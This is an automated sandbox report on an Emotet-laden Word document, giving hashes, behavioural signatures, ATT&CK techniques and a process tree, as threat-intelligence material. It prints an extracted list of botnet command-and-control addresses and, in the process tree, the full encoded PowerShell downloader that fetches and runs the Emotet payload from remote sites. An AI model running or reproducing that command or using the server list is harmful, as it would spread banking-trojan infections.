emotet | 0b77465d88f1cdf6745bfe68c62d8aad3f9adaf70da78396cdc99cd36235e0e7

Analysis

max time kernel
136s
max time network
139s
platform
windows10_x64
resource
win10v200722
submitted
16/10/2020, 16:18

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General

Target
emotet_e1_0b77465d88f1cdf6745bfe68c62d8aad3f9adaf70da78396cdc99cd36235e0e7_2020-10-16__161551387602._doc.doc
Size 153KB
Sample201016-k5a6a36vkn
SHA256 0b77465d88f1cdf6745bfe68c62d8aad3f9adaf70da78396cdc99cd36235e0e7
MD5 776bf3b2c739b1827238326fb3c3d77a
SHA1 38f26737835766076cf8f796127ebd10b129650c
SHA512 44a8d874ad9c92fe60de4de1cc13bcdbfa7d31f4ee4d4af9c272a852e2b69a7a532a1544552e0520e8032274fc2d4d6f0cdc34bfbf65ec2052ffc3f8aa3ecf69
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Family

emotet

Botnet

Epoch1

2.45.176.233:80
98.103.204.12:443
172.86.186.21:8080
192.175.111.214:8080
109.190.249.106:80
177.144.130.105:8080
70.32.84.74:8080
192.81.38.31:80
138.97.60.140:8080
189.223.16.99:80
175.143.12.123:8080
190.115.18.139:8080
170.81.48.2:80
5.196.35.138:7080
172.104.169.32:8080
178.250.54.208:8080
185.94.252.27:443
46.105.114.137:8080
79.118.74.90:80
70.169.17.134:80
60.93.23.51:80
45.46.37.97:80
50.121.220.50:80
209.236.123.42:8080
138.97.60.141:7080
87.106.46.107:8080
212.71.237.140:8080
177.73.0.98:443
111.67.12.221:8080
83.169.21.32:7080
185.183.16.47:80
177.129.17.170:443
77.78.196.173:443
68.183.190.199:8080
51.38.124.206:80
64.201.88.132:80
174.118.202.24:443
177.74.228.34:80
190.24.243.186:80
188.157.101.114:80
202.134.4.210:7080
191.182.6.118:80
137.74.106.111:7080
189.2.177.210:443
186.222.250.115:8080
74.58.215.226:80
5.189.178.202:8080
105.209.235.113:8080
12.163.208.58:80
85.214.26.7:8080
37.187.161.206:8080
68.183.170.114:8080
46.101.58.37:8080
217.13.106.14:8080
5.89.33.136:80
177.23.7.151:80
188.135.15.49:80
45.33.77.42:8080
190.96.15.50:80
190.188.245.242:80
192.232.229.54:7080
46.43.2.95:8080
185.94.252.12:80
201.213.177.139:80
98.13.75.196:80
12.162.84.2:8080
190.190.219.184:80
51.255.165.160:8080
149.202.72.142:7080
213.52.74.198:80
81.215.230.173:443
192.241.143.52:8080
37.179.145.105:80
183.176.82.231:80
152.169.22.67:80
216.47.196.104:80
74.135.120.91:80
128.92.203.42:80
213.197.182.158:8080
94.176.234.118:443
177.144.130.105:443
181.129.96.162:8080
200.127.14.97:80
51.75.33.127:80
186.70.127.199:8090
109.190.35.249:80
104.131.41.185:8080
50.28.51.143:8080
51.15.7.189:80
1.226.84.243:8080
178.211.45.66:8080
219.92.13.25:80
103.236.179.162:80
51.15.7.145:80
186.103.141.250:443
24.232.228.233:80
70.32.115.157:8080
82.76.111.249:443
191.191.23.135:80
62.84.75.50:80
77.238.212.227:80
181.30.61.163:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3788	3872	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3964-11-0x0000000002200000-0x000000000221C000-memory.dmp	emotet
behavioral2/memory/3964-12-0x00000000022C0000-0x00000000022DB000-memory.dmp	emotet
behavioral2/memory/3148-15-0x0000000002030000-0x000000000204C000-memory.dmp	emotet
behavioral2/memory/3148-16-0x0000000002050000-0x000000000206B000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	3788	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3964	Z2b2rgr.exe
3148	Windows.Devices.Custom.ps.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\scesrv\Windows.Devices.Custom.ps.exe	Z2b2rgr.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
648	WINWORD.EXE
648	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3788	POwersheLL.exe
3788	POwersheLL.exe
3788	POwersheLL.exe
3148	Windows.Devices.Custom.ps.exe
3148	Windows.Devices.Custom.ps.exe
3148	Windows.Devices.Custom.ps.exe
3148	Windows.Devices.Custom.ps.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3788	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
3964	Z2b2rgr.exe
3148	Windows.Devices.Custom.ps.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3964 wrote to memory of 3148	3964	Z2b2rgr.exe	80
PID 3964 wrote to memory of 3148	3964	Z2b2rgr.exe	80
PID 3964 wrote to memory of 3148	3964	Z2b2rgr.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_0b77465d88f1cdf6745bfe68c62d8aad3f9adaf70da78396cdc99cd36235e0e7_2020-10-16__161551387602._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:648

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABYAGYAMgB6ADQANwByAD0AKAAnAEUAegAnACsAJwBfAGwAJwArACgAJwAzACcAKwAnAGkAZwAnACkAKQA7ACQAWQBpAHgAbABiAGwAZAA9ACQARgBjAF8AZQAwAHEAaQAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQAVQByAGgAOQA0AHQAZQA7ACQAWgB3AHAANwB1AHAAMAA9ACgAKAAnAFUAZgAnACsAJwAxACcAKQArACcAegAnACsAKAAnAGwAbwAnACsAJwBzACcAKQApADsAWwBzAHkAcwB0AGUAbQAuAGkAbwAuAGQAaQByAGUAYwB0AG8AcgB5AF0AOgA6ACIAYwBSAGUAQQB0AGUAYABkAGkAcgBgAGUAQwBUAG8AYABSAFkAIgAoACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAIAArACAAKAAoACcAewAnACsAJwAwACcAKwAnAH0AQwBqAGkANwBvAGwAJwArACcAegB7ADAAfQBSAGQAMQBqAGIAMQBpAHsAMAAnACsAJwB9ACcAKQAtAGYAWwBjAGgAYQBSAF0AOQAyACkAKQA7ACQAWABjAGMAMAAyAGUAYwA9ACgAJwBYACcAKwAoACcAcgAnACsAJwA3AGwAegAnACkAKwAnAHUAawAnACkAOwBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGMAdQBgAFIAaQBgAFQAYAB5AGAAUAByAG8AdABPAEMATwBsACIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6ACIAdABsAFMAYAAxADIAIgA7ACQATwAzAGwAZgA1AGwAZAA9ACgAJwBEACcAKwAoACcAMwBtACcAKwAnADQAMgB1ADAAJwApACkAOwAkAFAAcwAyADcAYQB0ADQAIAA9ACAAKAAoACcAWgAyACcAKwAnAGIAJwApACsAKAAnADIAcgAnACsAJwBnACcAKQArACcAcgAnACkAOwAkAE8AMABfAGQAdAB4AHQAPQAoACgAJwBXACcAKwAnAGQAZQAnACkAKwAoACcAdABkAG0AJwArACcAeQAnACkAKQA7ACQAWgBrADYAXwA0AGoAMQA9ACgAKAAnAE4AcgAnACsAJwBtADAAJwApACsAKAAnAHMAdQAnACsAJwBmACcAKQApADsAJABZAGwANQBjAG4AZwBsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9AEMAagBpACcAKwAoACcANwAnACsAJwBvAGwAJwApACsAJwB6AHsAMAB9AFIAZAAxAGoAYgAxACcAKwAnAGkAewAwACcAKwAnAH0AJwApACAAIAAtAEYAWwBjAGgAYQBSAF0AOQAyACkAKwAkAFAAcwAyADcAYQB0ADQAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABJAHEAdwA2AG0AXwBqAD0AKAAoACcARwBkACcAKwAnADAAeQAnACkAKwAnAHAAJwArACcAcABsACcAKQA7ACQAUgBoAGwAeQB2ADYANAA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAQgBDAEwASQBlAE4AdAA7ACQARgBpADMAbABnAHQAMwA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACcAcAAnACsAKAAnADoAJwArACcALwAvAHAAYQBnAGEAJwApACsAKAAnAG4AJwArACcAdwBpAHQAYwAnACkAKwAnAGgAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AdwAnACsAJwBwACcAKQArACcALQAnACsAJwBhACcAKwAoACcAZABtACcAKwAnAGkAJwApACsAJwBuACcAKwAoACcALwAnACsAJwAwAHAAJwArACcAZAAvACoAJwApACsAKAAnAGgAJwArACcAdAB0ACcAKQArACcAcAAnACsAKAAnADoAJwArACcALwAvACcAKQArACcAYwByACcAKwAoACcAZQAnACsAJwBhAHQAJwApACsAJwBpAG8AJwArACgAJwBuACcAKwAnAHMAawBhAHQAZQBiACcAKwAnAG8AYQByACcAKQArACcAZABzACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACgAJwAvACcAKwAnAHMAaAAnACkAKwAnAHIAJwArACcAZQAnACsAJwBkACcAKwAoACcALwBIACcAKwAnAC8AJwApACsAJwAqACcAKwAnAGgAJwArACcAdAAnACsAJwB0AHAAJwArACgAJwA6AC8AJwArACcALwBnAHQAJwApACsAJwBlACcAKwAoACcAYwBoACcAKwAnAC4AJwApACsAKAAnAHQAaABuAGcAJwArACcAbwAnACsAJwA1ACcAKQArACcAOAAuACcAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAnAHcAcAAnACsAJwAtACcAKwAoACcAaQAnACsAJwBuAGMAbAAnACkAKwAnAHUAJwArACgAJwBkAGUAcwAvADkAegAnACsAJwBvAC8AJwApACsAKAAnACoAaAB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAJwAvAGQAJwArACcAbABoACcAKwAoACcAYQBnACcAKwAnAGUAbgBjAHkALgAnACsAJwBjAG8AJwApACsAKAAnAG0ALwAnACsAJwBjAGcAaQAtAGIAJwApACsAJwBpAG4AJwArACgAJwAvADgAegAvACoAJwArACcAaAB0AHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAZAByACcAKwAnAHcAYQBsAGkAJwArACcAZABhAGIAJwApACsAKAAnAGQAZQAnACsAJwBsACcAKQArACgAJwBnAGEAZgAnACsAJwBmAGEAcgAnACsAJwAuAGMAJwArACcAbwBtAC8AZABlAG4AJwApACsAJwB0ACcAKwAoACcAYQBsAGkAJwArACcAYQAvACcAKQArACgAJwBsAEwALwAqAGgAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcgAnACsAJwB0AGoAJwArACcAYQBuAGQAJwArACcAeAAnACkAKwAoACcAbAB5AC4AbwAnACsAJwBuACcAKQArACgAJwBsACcAKwAnAGkAbgAnACkAKwAnAGUAJwArACgAJwAvAHcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AJwArACgAJwB0AGUAbgAnACsAJwB0AC8AawAnACkAKwAnAGkAJwArACgAJwByACcAKwAnAC8AKgBoACcAKQArACcAdAAnACsAJwB0ACcAKwAoACcAcAAnACsAJwA6AC8ALwBiACcAKQArACgAJwBuACcAKwAnAG0AaQBuAHQAbAAuACcAKQArACgAJwBjAG8AJwArACcAbQAvAGMAZwAnACsAJwBpACcAKwAnAC0AYgAnACkAKwAnAGkAJwArACgAJwBuAC8AJwArACcASQAnACkAKwAnAGIAdQAnACsAJwAvACcAKQAuACIAUwBwAGAAbABpAHQAIgAoACQAQgBxADMAZwBsAHMAYwAgACsAIAAkAFkAaQB4AGwAYgBsAGQAIAArACAAJABHAHcAdgBjAGsAdgAyACkAOwAkAFkAMQBpAHgAMgA0AGoAPQAoACgAJwBBAG0AJwArACcAMgB6ACcAKQArACcAbAAnACsAJwBjADkAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABQADAANwA5AHQAcAB0ACAAaQBuACAAJABGAGkAMwBsAGcAdAAzACkAewB0AHIAeQB7ACQAUgBoAGwAeQB2ADYANAAuACIAZABvAGAAdwBgAE4ATABPAGEARABgAEYAaQBsAGUAIgAoACQAUAAwADcAOQB0AHAAdAAsACAAJABZAGwANQBjAG4AZwBsACkAOwAkAEQAegA3AGMANAAwAGQAPQAoACcASgAnACsAJwBsACcAKwAoACcAdwAxAHAAJwArACcAZwBoACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFkAbAA1AGMAbgBnAGwAKQAuACIATABlAG4AYABHAFQAaAAiACAALQBnAGUAIAAzADQANAA5ADMAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAaQBuADMAMgBfACcAKwAnAFAAJwApACsAJwByAG8AJwArACcAYwAnACsAKAAnAGUAcwAnACsAJwBzACcAKQApACkALgAiAGMAUgBlAGAAQQBUAGUAIgAoACQAWQBsADUAYwBuAGcAbAApADsAJABRADEAegBoAHoAOABqAD0AKAAoACcAVQBmACcAKwAnADAAMgBuACcAKQArACcAXwAnACsAJwBnACcAKQA7AGIAcgBlAGEAawA7ACQATQA5AHYAegB5AHQAMAA9ACgAJwBLACcAKwAoACcAagBwAGgAJwArACcAdQAnACkAKwAnAHUANgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAbAB5AG0AaQA4AHIAPQAoACcAUAAnACsAKAAnADcAYQAnACsAJwA1ACcAKQArACgAJwBlACcAKwAnAGQAYQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3788

C:\Users\Admin\Cji7olz\Rd1jb1i\Z2b2rgr.exe
C:\Users\Admin\Cji7olz\Rd1jb1i\Z2b2rgr.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3964
- C:\Windows\SysWOW64\scesrv\Windows.Devices.Custom.ps.exe
  "C:\Windows\SysWOW64\scesrv\Windows.Devices.Custom.ps.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3148

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/648-0-0x00007FFFAB810000-0x00007FFFABED6000-memory.dmp

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memory/3148-15-0x0000000002030000-0x000000000204C000-memory.dmp

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memory/3148-16-0x0000000002050000-0x000000000206B000-memory.dmp

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memory/3788-6-0x00007FFFA48A0000-0x00007FFFA528C000-memory.dmp

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memory/3788-7-0x00000191F4D30000-0x00000191F4D31000-memory.dmp

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memory/3788-8-0x00000191F50A0000-0x00000191F50A1000-memory.dmp

Download

memory/3964-11-0x0000000002200000-0x000000000221C000-memory.dmp

Download

memory/3964-12-0x00000000022C0000-0x00000000022DB000-memory.dmp

Download